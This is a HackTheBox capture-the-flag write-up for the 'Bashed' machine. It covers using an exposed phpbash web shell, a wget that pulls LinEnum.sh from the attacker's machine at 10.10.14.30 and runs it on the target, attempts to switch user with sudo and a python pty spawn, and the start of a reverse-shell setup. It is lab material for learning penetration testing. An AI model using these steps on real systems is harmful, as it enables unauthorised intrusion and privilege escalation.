Bashed-A HackTheBox Writeup
By: Aditya Anand
Tags: Cybersecurity, Ctf, Hacking, Nmap, Hackthebox

In the step to find out different subdomains we find a few listed above. We first visit the /uploads subdomain it was a blank white page.

/dev subdomain

Then we went onto /php subdomain it contained the following data, exposing the sendMail.php file.

Then we went onto the dev/ subdomain and there we came across the phpbash.php script which was a link to a web-based shell that was exposed for us to get into the next level to achieve root access.

Web-Based Shell

The web-based shell gave us access to a command line to run our commands, this a big step as now we have a command line to work with.

So, as soon we got this shell, we will run our basic commands to figure out the extent of privileges we currently have.

The first command is “id” to know the details about the user. So we are currently a user named, www-data.

Now to check the privileges we have we will run a script to figure that out. To do that we need the script to be present on the vulnerable machine, so the first step will be to bring over the script from our machine to this machine.

First of all we download the required script on our machine and then send it over to the folder where we are storing data regarding the bashed machine. Once the script is present on that particular folder then we setup a httpServer so the contents of the folder will be available across the network.

Linux privilege checker script

Now, that we have setup the httpServer on our machine. We go back to the web-based shell on the vulnerable machine because as soon as the file is uploaded via the httpServer now we can download it on our machine using “curl” or “wget” commands.

Curl command wasn’t present on this machine, so we had to use wget to download the file over to the vulnerable machine.

var/www/html/dev# wget 10.10.14.30/LinEnum.sh

The permission was denied when the above command was carried out from the given folder, we then to the /dev/shm directory and the above command worked.

Once, we had the LinEnum.sh file we executed it to figure out the privileges and other details regarding the current user.

var/www/html/dev/shm# bash LinEnum.sh

We obtained the following results:

The linux version is updated so there were extremely less chances of finding any vulnerability here.

Currently our userid is (www-data), there is another user by the name of scriptmanager.

We can use sudo without a password & scriptmanager can run anything.

The web shell that we have currently is not persistent.

To check this out, we run the command

sudo -u scriptmanager bash

and

python -c ‘import pty;pty.spwan(“/bin/bash”)’

but still we are www-data

So, the web shell that we have obtained wasn’t persistent and we needed to obtain a persistent shell so we had to execute a reverse shell.

To make a reverse shell connection to the vulnerable machine we go to the cheat sheet list that is presented by the Pen-Test Monkey. It is an extremely useful tool.

The first step is to setup a listener on our machine, where the reverse shell would pop up. So, once the listener is up we pass several commands in the web-based shell in the vulnerable machine to initiate the reverse shell (don’t forget to change the IP address & port number).